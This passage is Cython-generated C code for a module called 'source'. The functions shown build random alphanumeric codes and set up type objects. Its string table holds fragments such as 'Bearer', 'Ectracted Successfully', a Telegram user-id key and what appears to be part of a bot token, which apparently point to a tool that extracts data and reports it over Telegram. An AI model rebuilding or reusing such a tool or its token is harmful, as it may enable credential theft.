  PyObject *__pyx_t_1 = NULL;
  PyObject *__pyx_t_2 = NULL;
  Py_ssize_t __pyx_t_3;
  PyObject *(*__pyx_t_4)(PyObject *);
  PyObject *__pyx_t_5 = NULL;
  PyObject *__pyx_t_6 = NULL;
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("genexpr", 0);
  switch (__pyx_generator->resume_label) {
    case 0: goto __pyx_L3_first_run;
    default: /* CPython raises the right error here */
    __Pyx_RefNannyFinishContext();
    return NULL;
  }
  __pyx_L3_first_run:;
  if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 396, __pyx_L1_error)
  __pyx_r = PyList_New(0); if (unlikely(!__pyx_r)) __PYX_ERR(0, 396, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_r);

  
  if (unlikely(!__pyx_cur_scope->__pyx_outer_scope->__pyx_v_length)) { __Pyx_RaiseClosureNameError("length"); __PYX_ERR(0, 397, __pyx_L1_error) }
  __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_builtin_range, __pyx_cur_scope->__pyx_outer_scope->__pyx_v_length); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 397, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (likely(PyList_CheckExact(__pyx_t_1)) || PyTuple_CheckExact(__pyx_t_1)) {
    __pyx_t_2 = __pyx_t_1; __Pyx_INCREF(__pyx_t_2); __pyx_t_3 = 0;
    __pyx_t_4 = NULL;
  } else {
    __pyx_t_3 = -1; __pyx_t_2 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 397, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_4 = Py_TYPE(__pyx_t_2)->tp_iternext; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 397, __pyx_L1_error)
  }
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  for (;;) {
    if (likely(!__pyx_t_4)) {
      if (likely(PyList_CheckExact(__pyx_t_2))) {
        if (__pyx_t_3 >= PyList_GET_SIZE(__pyx_t_2)) break;
        #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
        __pyx_t_1 = PyList_GET_ITEM(__pyx_t_2, __pyx_t_3); __Pyx_INCREF(__pyx_t_1); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 397, __pyx_L1_error)
        #else
        __pyx_t_1 = PySequence_ITEM(__pyx_t_2, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 397, __pyx_L1_error)
        __Pyx_GOTREF(__pyx_t_1);
        #endif
      } else {
        if (__pyx_t_3 >= PyTuple_GET_SIZE(__pyx_t_2)) break;
        #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
        __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_2, __pyx_t_3); __Pyx_INCREF(__pyx_t_1); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 397, __pyx_L1_error)
        #else
        __pyx_t_1 = PySequence_ITEM(__pyx_t_2, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 397, __pyx_L1_error)
        __Pyx_GOTREF(__pyx_t_1);
        #endif
      }
    } else {
      __pyx_t_1 = __pyx_t_4(__pyx_t_2);
      if (unlikely(!__pyx_t_1)) {
        PyObject* exc_type = PyErr_Occurred();
        if (exc_type) {
          if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear();
          else __PYX_ERR(0, 397, __pyx_L1_error)
        }
        break;
      }
      __Pyx_GOTREF(__pyx_t_1);
    }
    __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v__);
    __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v__, __pyx_t_1);
    __Pyx_GIVEREF(__pyx_t_1);
    __pyx_t_1 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_random); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 396, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_choice); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 396, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (unlikely(!__pyx_cur_scope->__pyx_outer_scope->__pyx_v_letters_and_digits)) { __Pyx_RaiseClosureNameError("letters_and_digits"); __PYX_ERR(0, 396, __pyx_L1_error) }
    __pyx_t_5 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) {
      __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6);
      if (likely(__pyx_t_5)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
        __Pyx_INCREF(__pyx_t_5);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_6, function);
      }
    }
    __pyx_t_1 = (__pyx_t_5) ? __Pyx_PyObject_Call2Args(__pyx_t_6, __pyx_t_5, __pyx_cur_scope->__pyx_outer_scope->__pyx_v_letters_and_digits) : __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_cur_scope->__pyx_outer_scope->__pyx_v_letters_and_digits);
    __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 396, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
    if (unlikely(__Pyx_ListComp_Append(__pyx_r, (PyObject*)__pyx_t_1))) __PYX_ERR(0, 396, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
  }
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope);

  

  /* function exit code */
  goto __pyx_L0;
  __pyx_L1_error:;
  __Pyx_XDECREF(__pyx_r); __pyx_r = 0;
  __Pyx_XDECREF(__pyx_t_1);
  __Pyx_XDECREF(__pyx_t_2);
  __Pyx_XDECREF(__pyx_t_5);
  __Pyx_XDECREF(__pyx_t_6);
  __Pyx_AddTraceback("genexpr", __pyx_clineno, __pyx_lineno, __pyx_filename);
  __pyx_L0:;
  __Pyx_XGIVEREF(__pyx_r);
  #if !CYTHON_USE_EXC_INFO_STACK
  __Pyx_Coroutine_ResetAndClearException(__pyx_generator);
  #endif
  __pyx_generator->resume_label = -1;
  __Pyx_Coroutine_clear((PyObject*)__pyx_generator);
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}



static PyObject *__pyx_pf_6source_12generate_random_code(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_length) {
  struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *__pyx_cur_scope;
  PyObject *__pyx_gb_6source_20generate_random_code_2generator = 0;
  PyObject *__pyx_r = NULL;
  __Pyx_RefNannyDeclarations
  PyObject *__pyx_t_1 = NULL;
  PyObject *__pyx_t_2 = NULL;
  PyObject *__pyx_t_3 = NULL;
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  __Pyx_RefNannySetupContext("generate_random_code", 0);
  __pyx_cur_scope = (struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *)__pyx_tp_new_6source___pyx_scope_struct__generate_random_code(__pyx_ptype_6source___pyx_scope_struct__generate_random_code, __pyx_empty_tuple, NULL);
  if (unlikely(!__pyx_cur_scope)) {
    __pyx_cur_scope = ((struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *)Py_None);
    __Pyx_INCREF(Py_None);
    __PYX_ERR(0, 394, __pyx_L1_error)
  } else {
    __Pyx_GOTREF(__pyx_cur_scope);
  }
  __pyx_cur_scope->__pyx_v_length = __pyx_v_length;
  __Pyx_INCREF(__pyx_cur_scope->__pyx_v_length);
  __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_length);

  
  __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_string); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 395, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ascii_letters); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 395, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_string); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 395, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_digits); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 395, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 395, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __Pyx_GIVEREF(__pyx_t_1);
  __pyx_cur_scope->__pyx_v_letters_and_digits = __pyx_t_1;
  __pyx_t_1 = 0;

  
  __Pyx_XDECREF(__pyx_r);
  __pyx_t_1 = PyList_New(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 396, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __pyx_t_3 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 396, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_3, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 396, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_t_3 = __pyx_pf_6source_20generate_random_code_genexpr(((PyObject*)__pyx_cur_scope)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 396, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __pyx_t_2 = __Pyx_Generator_Next(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 396, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_t_3 = PyUnicode_Join(((PyObject*)__pyx_t_1), __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 396, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_r = __pyx_t_3;
  __pyx_t_3 = 0;
  goto __pyx_L0;

  

  /* function exit code */
  __pyx_L1_error:;
  __Pyx_XDECREF(__pyx_t_1);
  __Pyx_XDECREF(__pyx_t_2);
  __Pyx_XDECREF(__pyx_t_3);
  __Pyx_AddTraceback("source.generate_random_code", __pyx_clineno, __pyx_lineno, __pyx_filename);
  __pyx_r = NULL;
  __pyx_L0:;
  __Pyx_XDECREF(__pyx_gb_6source_20generate_random_code_2generator);
  __Pyx_DECREF(((PyObject *)__pyx_cur_scope));
  __Pyx_XGIVEREF(__pyx_r);
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}

static struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *__pyx_freelist_6source___pyx_scope_struct__generate_random_code[8];
static int __pyx_freecount_6source___pyx_scope_struct__generate_random_code = 0;

static PyObject *__pyx_tp_new_6source___pyx_scope_struct__generate_random_code(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) {
  PyObject *o;
  if (CYTHON_COMPILING_IN_CPYTHON && likely((__pyx_freecount_6source___pyx_scope_struct__generate_random_code > 0) & (t->tp_basicsize == sizeof(struct __pyx_obj_6source___pyx_scope_struct__generate_random_code)))) {
    o = (PyObject*)__pyx_freelist_6source___pyx_scope_struct__generate_random_code[--__pyx_freecount_6source___pyx_scope_struct__generate_random_code];
    memset(o, 0, sizeof(struct __pyx_obj_6source___pyx_scope_struct__generate_random_code));
    (void) PyObject_INIT(o, t);
    PyObject_GC_Track(o);
  } else {
    o = (*t->tp_alloc)(t, 0);
    if (unlikely(!o)) return 0;
  }
  return o;
}

static void __pyx_tp_dealloc_6source___pyx_scope_struct__generate_random_code(PyObject *o) {
  struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *p = (struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *)o;
  PyObject_GC_UnTrack(o);
  Py_CLEAR(p->__pyx_v_length);
  Py_CLEAR(p->__pyx_v_letters_and_digits);
  if (CYTHON_COMPILING_IN_CPYTHON && ((__pyx_freecount_6source___pyx_scope_struct__generate_random_code < 8) & (Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_6source___pyx_scope_struct__generate_random_code)))) {
    __pyx_freelist_6source___pyx_scope_struct__generate_random_code[__pyx_freecount_6source___pyx_scope_struct__generate_random_code++] = ((struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *)o);
  } else {
    (*Py_TYPE(o)->tp_free)(o);
  }
}

static int __pyx_tp_traverse_6source___pyx_scope_struct__generate_random_code(PyObject *o, visitproc v, void *a) {
  int e;
  struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *p = (struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *)o;
  if (p->__pyx_v_length) {
    e = (*v)(p->__pyx_v_length, a); if (e) return e;
  }
  if (p->__pyx_v_letters_and_digits) {
    e = (*v)(p->__pyx_v_letters_and_digits, a); if (e) return e;
  }
  return 0;
}

static int __pyx_tp_clear_6source___pyx_scope_struct__generate_random_code(PyObject *o) {
  PyObject* tmp;
  struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *p = (struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *)o;
  tmp = ((PyObject*)p->__pyx_v_length);
  p->__pyx_v_length = Py_None; Py_INCREF(Py_None);
  Py_XDECREF(tmp);
  tmp = ((PyObject*)p->__pyx_v_letters_and_digits);
  p->__pyx_v_letters_and_digits = Py_None; Py_INCREF(Py_None);
  Py_XDECREF(tmp);
  return 0;
}

static PyTypeObject __pyx_type_6source___pyx_scope_struct__generate_random_code = {
  PyVarObject_HEAD_INIT(0, 0)
  "source.__pyx_scope_struct__generate_random_code", /*tp_name*/
  sizeof(struct __pyx_obj_6source___pyx_scope_struct__generate_random_code), /*tp_basicsize*/
  0, /*tp_itemsize*/
  __pyx_tp_dealloc_6source___pyx_scope_struct__generate_random_code, /*tp_dealloc*/
  #if PY_VERSION_HEX < 0x030800b4
  0, /*tp_print*/
  #endif
  #if PY_VERSION_HEX >= 0x030800b4
  0, /*tp_vectorcall_offset*/
  #endif
  0, /*tp_getattr*/
  0, /*tp_setattr*/
  #if PY_MAJOR_VERSION < 3
  0, /*tp_compare*/
  #endif
  #if PY_MAJOR_VERSION >= 3
  0, /*tp_as_async*/
  #endif
  0, /*tp_repr*/
  0, /*tp_as_number*/
  0, /*tp_as_sequence*/
  0, /*tp_as_mapping*/
  0, /*tp_hash*/
  0, /*tp_call*/
  0, /*tp_str*/
  0, /*tp_getattro*/
  0, /*tp_setattro*/
  0, /*tp_as_buffer*/
  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC, /*tp_flags*/
  0, /*tp_doc*/
  __pyx_tp_traverse_6source___pyx_scope_struct__generate_random_code, /*tp_traverse*/
  __pyx_tp_clear_6source___pyx_scope_struct__generate_random_code, /*tp_clear*/
  0, /*tp_richcompare*/
  0, /*tp_weaklistoffset*/
  0, /*tp_iter*/
  0, /*tp_iternext*/
  0, /*tp_methods*/
  0, /*tp_members*/
  0, /*tp_getset*/
  0, /*tp_base*/
  0, /*tp_dict*/
  0, /*tp_descr_get*/
  0, /*tp_descr_set*/
  0, /*tp_dictoffset*/
  0, /*tp_init*/
  0, /*tp_alloc*/
  __pyx_tp_new_6source___pyx_scope_struct__generate_random_code, /*tp_new*/
  0, /*tp_free*/
  0, /*tp_is_gc*/
  0, /*tp_bases*/
  0, /*tp_mro*/
  0, /*tp_cache*/
  0, /*tp_subclasses*/
  0, /*tp_weaklist*/
  0, /*tp_del*/
  0, /*tp_version_tag*/
  #if PY_VERSION_HEX >= 0x030400a1
  0, /*tp_finalize*/
  #endif
  #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800)
  0, /*tp_vectorcall*/
  #endif
  #if PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000
  0, /*tp_print*/
  #endif
  #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000
  0, /*tp_pypy_flags*/
  #endif
};

static struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *__pyx_freelist_6source___pyx_scope_struct_1_genexpr[8];
static int __pyx_freecount_6source___pyx_scope_struct_1_genexpr = 0;

static PyObject *__pyx_tp_new_6source___pyx_scope_struct_1_genexpr(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) {
  PyObject *o;
  if (CYTHON_COMPILING_IN_CPYTHON && likely((__pyx_freecount_6source___pyx_scope_struct_1_genexpr > 0) & (t->tp_basicsize == sizeof(struct __pyx_obj_6source___pyx_scope_struct_1_genexpr)))) {
    o = (PyObject*)__pyx_freelist_6source___pyx_scope_struct_1_genexpr[--__pyx_freecount_6source___pyx_scope_struct_1_genexpr];
    memset(o, 0, sizeof(struct __pyx_obj_6source___pyx_scope_struct_1_genexpr));
    (void) PyObject_INIT(o, t);
    PyObject_GC_Track(o);
  } else {
    o = (*t->tp_alloc)(t, 0);
    if (unlikely(!o)) return 0;
  }
  return o;
}

static void __pyx_tp_dealloc_6source___pyx_scope_struct_1_genexpr(PyObject *o) {
  struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *p = (struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *)o;
  PyObject_GC_UnTrack(o);
  Py_CLEAR(p->__pyx_outer_scope);
  Py_CLEAR(p->__pyx_v__);
  if (CYTHON_COMPILING_IN_CPYTHON && ((__pyx_freecount_6source___pyx_scope_struct_1_genexpr < 8) & (Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_6source___pyx_scope_struct_1_genexpr)))) {
    __pyx_freelist_6source___pyx_scope_struct_1_genexpr[__pyx_freecount_6source___pyx_scope_struct_1_genexpr++] = ((struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *)o);
  } else {
    (*Py_TYPE(o)->tp_free)(o);
  }
}

static int __pyx_tp_traverse_6source___pyx_scope_struct_1_genexpr(PyObject *o, visitproc v, void *a) {
  int e;
  struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *p = (struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *)o;
  if (p->__pyx_outer_scope) {
    e = (*v)(((PyObject *)p->__pyx_outer_scope), a); if (e) return e;
  }
  if (p->__pyx_v__) {
    e = (*v)(p->__pyx_v__, a); if (e) return e;
  }
  return 0;
}

static PyTypeObject __pyx_type_6source___pyx_scope_struct_1_genexpr = {
  PyVarObject_HEAD_INIT(0, 0)
  "source.__pyx_scope_struct_1_genexpr", /*tp_name*/
  sizeof(struct __pyx_obj_6source___pyx_scope_struct_1_genexpr), /*tp_basicsize*/
  0, /*tp_itemsize*/
  __pyx_tp_dealloc_6source___pyx_scope_struct_1_genexpr, /*tp_dealloc*/
  #if PY_VERSION_HEX < 0x030800b4
  0, /*tp_print*/
  #endif
  #if PY_VERSION_HEX >= 0x030800b4
  0, /*tp_vectorcall_offset*/
  #endif
  0, /*tp_getattr*/
  0, /*tp_setattr*/
  #if PY_MAJOR_VERSION < 3
  0, /*tp_compare*/
  #endif
  #if PY_MAJOR_VERSION >= 3
  0, /*tp_as_async*/
  #endif
  0, /*tp_repr*/
  0, /*tp_as_number*/
  0, /*tp_as_sequence*/
  0, /*tp_as_mapping*/
  0, /*tp_hash*/
  0, /*tp_call*/
  0, /*tp_str*/
  0, /*tp_getattro*/
  0, /*tp_setattro*/
  0, /*tp_as_buffer*/
  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC, /*tp_flags*/
  0, /*tp_doc*/
  __pyx_tp_traverse_6source___pyx_scope_struct_1_genexpr, /*tp_traverse*/
  0, /*tp_clear*/
  0, /*tp_richcompare*/
  0, /*tp_weaklistoffset*/
  0, /*tp_iter*/
  0, /*tp_iternext*/
  0, /*tp_methods*/
  0, /*tp_members*/
  0, /*tp_getset*/
  0, /*tp_base*/
  0, /*tp_dict*/
  0, /*tp_descr_get*/
  0, /*tp_descr_set*/
  0, /*tp_dictoffset*/
  0, /*tp_init*/
  0, /*tp_alloc*/
  __pyx_tp_new_6source___pyx_scope_struct_1_genexpr, /*tp_new*/
  0, /*tp_free*/
  0, /*tp_is_gc*/
  0, /*tp_bases*/
  0, /*tp_mro*/
  0, /*tp_cache*/
  0, /*tp_subclasses*/
  0, /*tp_weaklist*/
  0, /*tp_del*/
  0, /*tp_version_tag*/
  #if PY_VERSION_HEX >= 0x030400a1
  0, /*tp_finalize*/
  #endif
  #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800)
  0, /*tp_vectorcall*/
  #endif
  #if PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000
  0, /*tp_print*/
  #endif
  #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000
  0, /*tp_pypy_flags*/
  #endif
};

static PyMethodDef __pyx_methods[] = {
  {0, 0, 0, 0}
};

#if PY_MAJOR_VERSION >= 3
#if CYTHON_PEP489_MULTI_PHASE_INIT
static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/
static int __pyx_pymod_exec_source(PyObject* module); /*proto*/
static PyModuleDef_Slot __pyx_moduledef_slots[] = {
  {Py_mod_create, (void*)__pyx_pymod_create},
  {Py_mod_exec, (void*)__pyx_pymod_exec_source},
  {0, NULL}
};
#endif

static struct PyModuleDef __pyx_moduledef = {
    PyModuleDef_HEAD_INIT,
    "source",
    0, /* m_doc */
  #if CYTHON_PEP489_MULTI_PHASE_INIT
    0, /* m_size */
  #else
    -1, /* m_size */
  #endif
    __pyx_methods /* m_methods */,
  #if CYTHON_PEP489_MULTI_PHASE_INIT
    __pyx_moduledef_slots, /* m_slots */
  #else
    NULL, /* m_reload */
  #endif
    NULL, /* m_traverse */
    NULL, /* m_clear */
    NULL /* m_free */
};
#endif
#ifndef CYTHON_SMALL_CODE
#if defined(__clang__)
    #define CYTHON_SMALL_CODE
#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3))
    #define CYTHON_SMALL_CODE __attribute__((cold))
#else
    #define CYTHON_SMALL_CODE
#endif
#endif

static __Pyx_StringTabEntry __pyx_string_tab[] = {
  {&__pyx_kp_u_0, __pyx_k_0, sizeof(__pyx_k_0), 0, 1, 0, 0},
  {&__pyx_kp_u_1_36m, __pyx_k_1_36m, sizeof(__pyx_k_1_36m), 0, 1, 0, 0},
  {&__pyx_kp_u_1_910m_0m, __pyx_k_1_910m_0m, sizeof(__pyx_k_1_910m_0m), 0, 1, 0, 0},
  {&__pyx_kp_u_1_91m_0m, __pyx_k_1_91m_0m, sizeof(__pyx_k_1_91m_0m), 0, 1, 0, 0},
  {&__pyx_kp_u_1_92m_0m, __pyx_k_1_92m_0m, sizeof(__pyx_k_1_92m_0m), 0, 1, 0, 0},
  {&__pyx_kp_u_1_93m_0m, __pyx_k_1_93m_0m, sizeof(__pyx_k_1_93m_0m), 0, 1, 0, 0},
  {&__pyx_kp_u_1_94m_0m, __pyx_k_1_94m_0m, sizeof(__pyx_k_1_94m_0m), 0, 1, 0, 0},
  {&__pyx_kp_u_1_95m_0m, __pyx_k_1_95m_0m, sizeof(__pyx_k_1_95m_0m), 0, 1, 0, 0},
  {&__pyx_kp_u_1_96m_0m, __pyx_k_1_96m_0m, sizeof(__pyx_k_1_96m_0m), 0, 1, 0, 0},
  {&__pyx_kp_u_1_97m_0m, __pyx_k_1_97m_0m, sizeof(__pyx_k_1_97m_0m), 0, 1, 0, 0},
  {&__pyx_kp_u_1_98m_0m, __pyx_k_1_98m_0m, sizeof(__pyx_k_1_98m_0m), 0, 1, 0, 0},
  {&__pyx_kp_u_1_99m_0m, __pyx_k_1_99m_0m, sizeof(__pyx_k_1_99m_0m), 0, 1, 0, 0},
  {&__pyx_kp_u_20, __pyx_k_20, sizeof(__pyx_k_20), 0, 1, 0, 0},
  {&__pyx_kp_u_303, __pyx_k_303, sizeof(__pyx_k_303), 0, 1, 0, 0},
  {&__pyx_kp_u_38_5_153m, __pyx_k_38_5_153m, sizeof(__pyx_k_38_5_153m), 0, 1, 0, 0},
  {&__pyx_kp_u_5T259MnyzEQ, __pyx_k_5T259MnyzEQ, sizeof(__pyx_k_5T259MnyzEQ), 0, 1, 0, 0},
  {&__pyx_kp_u_6808504280_AAEeP, __pyx_k_6808504280_AAEeP, sizeof(__pyx_k_6808504280_AAEeP), 0, 1, 0, 0},
  {&__pyx_n_s_B, __pyx_k_B, sizeof(__pyx_k_B), 0, 0, 1, 1},
  {&__pyx_kp_u_B_6_Q, __pyx_k_B_6_Q, sizeof(__pyx_k_B_6_Q), 0, 1, 0, 0},
  {&__pyx_kp_u_Bearer, __pyx_k_Bearer, sizeof(__pyx_k_Bearer), 0, 1, 0, 0},
  {&__pyx_n_s_Bl, __pyx_k_Bl, sizeof(__pyx_k_Bl), 0, 0, 1, 1},
  {&__pyx_n_s_C, __pyx_k_C, sizeof(__pyx_k_C), 0, 0, 1, 1},
  {&__pyx_n_s_E, __pyx_k_E, sizeof(__pyx_k_E), 0, 0, 1, 1},
  {&__pyx_kp_u_E_D, __pyx_k_E_D, sizeof(__pyx_k_E_D), 0, 1, 0, 0},
  {&__pyx_kp_u_Ectracted_Failed, __pyx_k_Ectracted_Failed, sizeof(__pyx_k_Ectracted_Failed), 0, 1, 0, 0},
  {&__pyx_kp_u_Ectracted_Successfully, __pyx_k_Ectracted_Successfully, sizeof(__pyx_k_Ectracted_Successfully), 0, 1, 0, 0},
  {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1},
  {&__pyx_n_s_G, __pyx_k_G, sizeof(__pyx_k_G), 0, 0, 1, 1},
  {&__pyx_kp_u_G_B_A_R_Approved_R, __pyx_k_G_B_A_R_Approved_R, sizeof(__pyx_k_G_B_A_R_Approved_R), 0, 1, 0, 0},
  {&__pyx_n_s_ID, __pyx_k_ID, sizeof(__pyx_k_ID), 0, 0, 1, 1},
  {&__pyx_n_s_IDD, __pyx_k_IDD, sizeof(__pyx_k_IDD), 0, 0, 1, 1},
  {&__pyx_n_s_O, __pyx_k_O, sizeof(__pyx_k_O), 0, 0, 1, 1},
  {&__pyx_n_s_P, __pyx_k_P, sizeof(__pyx_k_P), 0, 0, 1, 1},
  {&__pyx_n_s_PN, __pyx_k_PN, sizeof(__pyx_k_PN), 0, 0, 1, 1},
  {&__pyx_kp_u_P_B_6_Q, __pyx_k_P_B_6_Q, sizeof(__pyx_k_P_B_6_Q), 0, 1, 0, 0},
  {&__pyx_kp_u_P_B_6_Q_C_ModcaTheLost, __pyx_k_P_B_6_Q_C_ModcaTheLost, sizeof(__pyx_k_P_B_6_Q_C_ModcaTheLost), 0, 1, 0, 0},
  {&__pyx_n_s_R, __pyx_k_R, sizeof(__pyx_k_R), 0, 0, 1, 1},
  {&__pyx_n_s_S, __pyx_k_S, sizeof(__pyx_k_S), 0, 0, 1, 1},
  {&__pyx_kp_u_T_S, __pyx_k_T_S, sizeof(__pyx_k_T_S), 0, 1, 0, 0},
  {&__pyx_n_s_UserAgent, __pyx_k_UserAgent, sizeof(__pyx_k_UserAgent), 0, 0, 1, 1},
  {&__pyx_n_s_W, __pyx_k_W, sizeof(__pyx_k_W), 0, 0, 1, 1},
  {&__pyx_n_s_X, __pyx_k_X, sizeof(__pyx_k_X), 0, 0, 1, 1},
  {&__pyx_n_s_Y, __pyx_k_Y, sizeof(__pyx_k_Y), 0, 0, 1, 1},
  {&__pyx_kp_u_Y_I_tg_openmessage_user_id, __pyx_k_Y_I_tg_openmessage_user_id, sizeof(__pyx_k_Y_I_tg_openmessage_user_id), 0, 1, 0, 0},
  {&__pyx_n_s_Z, __pyx_k_Z, sizeof(__pyx_k_Z), 0, 0, 1, 1},
